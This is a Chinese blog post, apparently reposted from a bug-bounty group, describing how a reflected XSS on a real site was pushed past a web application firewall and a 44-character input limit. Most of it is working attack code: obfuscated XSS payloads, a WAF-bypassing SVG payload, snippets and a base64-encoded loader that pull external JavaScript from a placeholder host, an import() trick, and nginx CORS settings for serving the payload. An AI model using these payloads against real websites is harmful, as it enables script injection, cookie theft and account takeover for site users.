实战环境中的XSS绕过防火墙和突破长度限制

Huuuuu 124 1

本文来自白帽一百少先队内部分享会。

起因

从某站一处反射XSS说起

输出点可以插入 XSS Payload 进行测试攻击。
例如:

<svg onload=alert(1)>
<img src onerror=alert(1)>

很不幸运的是,会被 WAF 拦截。

所以如何 bypass waf 呢?

Bypass Waf

这里给出一些构造特殊的 XSS Payload:

JS代码
[1].find(alert);
top['al\x65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
new Function`al\ert\`6\``;
setInterval('ale'+'rt(7)');
top[8680439..toString(30)](8);
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');

给出一些特殊的 On 事件:

onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onscroll
onabort
oncanplay
oncanplaythrough
onended
onerror
onloadeddata
onloadedmetadata
onloadedstart
onpause
onplay
onplaying
onprogress
......

通过上述一些比较不常见的事件以及攻击方法,我们可以自行构造出一系列 payload 进行 fuzz 测试。
最后成功使用以下 payload bypass 某公司 waf。

<svg><discard onbegin=[1].find(alert)>


这里提交漏洞后,审核回应:

遇到 XSS 长度限制难题

有时候,即使你发现的 XSS 漏洞能够反射弹窗了,但也无法引入外部 js。
(因为有些接口会对参数内容,长度等进行审计拦截)
我们可以大致列举一下,平时我们引入 js 的一些方法:

最最最常见的
d=document;z=d.createElement("script");
z.src="//IP:PORT";d.body.appendChild(z);

我常用的
appendChild(createElement('script')).src='//xx.xx'

编个码的(base64)
eval(atob('ZD1kb2N1bWVudDt6PWQuY3Jl
YXRlRWxlbWVudCgic2NyaXB0Iik7ei5zcmM9Ii8v
SVA6UE9SVCI7ZC5ib2R5LmFwcGVuZENoaWxkKHopOw=='))

我们可以对上面那个反射 XSS 进行测试,发现他对于输出点做了字符长度限制。

所以我们要做的是:在 44 位字符内,bypass WAF 后加载外部 JS。

询问大佬。


无果后,自己反复思考,参考各类资料。产生以下思路。

突破 XSS 长度限制的思路

1.一种思路
hash 属性是一个可读可写的字符串。
该字符串是 URL 的锚部分(从 # 号开始的部分)


我们企图通过 url 自定义一个锚,通过 substr 截取锚部分之后的内容,也就是自己的 url,此后传递到 eval 函数中去。

长度为 52,大于 44。失败了,只能继续找其他的方法,逛逛 twitter,看看 xss 大神。

2.柳岸花明

思路来自 Brute Logic 大神。

webkit 引擎浏览器中可使用,例如 Chrome、Safari、Opera。

import('//domain/file')

但是必须满足以下条件:

  • 使用相同的协议 不然会遇到: no referrer when downgrade 无法执行
  • 外部文件 MIME 为 application/javascript 并允许跨域加载(CORS)

话不多说,直接上手。

1.申请 SSL 证书(满足协议)
2.在 nginx 配置中添加(允许跨域加载)

location ~ .*\.(js|css)?${
      add_header Access-Control-Allow-Origin *;
}

3.添加一个 JS 文件,并将其添加到 nginx 默认首页中

server {  ...
  index index.php index.html 1.js
...}

成果:
计算长度。

3.题外话

虽然这个漏洞已经成功提交了,也拿到了奖励。我们可以思考一下,能不能变得更短?

根据我在推特上看到的文章,在 Chrome 中,浏览器会将一些奇奇怪怪的 Unicode 字符在 URL 中解析为多个字符的组合。

例如: ㏕ -> mil | Ⅷ -> VIII | ㏒ -> log 等等...

但是它们的长度,在 JS 以及其他的语言判定的长度还是为 1 位。这种有趣的特性,让我们可以 “短上更短”,在特定情况下 还可以实现对一些 WAF 的绕过。

PS

本文是我在某公众号看到的文章,为了方便本站的 XSS 平台会员们,特意转发过来,希望各位能有学习到的地方。

另外弱弱的吐槽下,大佬是真大佬,就是这文笔排版是真菜鸡,看我的好尴尬[aru_25],简单小改了一下下。。

打赏
发表评论 取消回复
表情 图片 链接 代码

  1. Tesla
    Tesla Lv 1

    强啊,霸哥

分享
微信
微博
QQ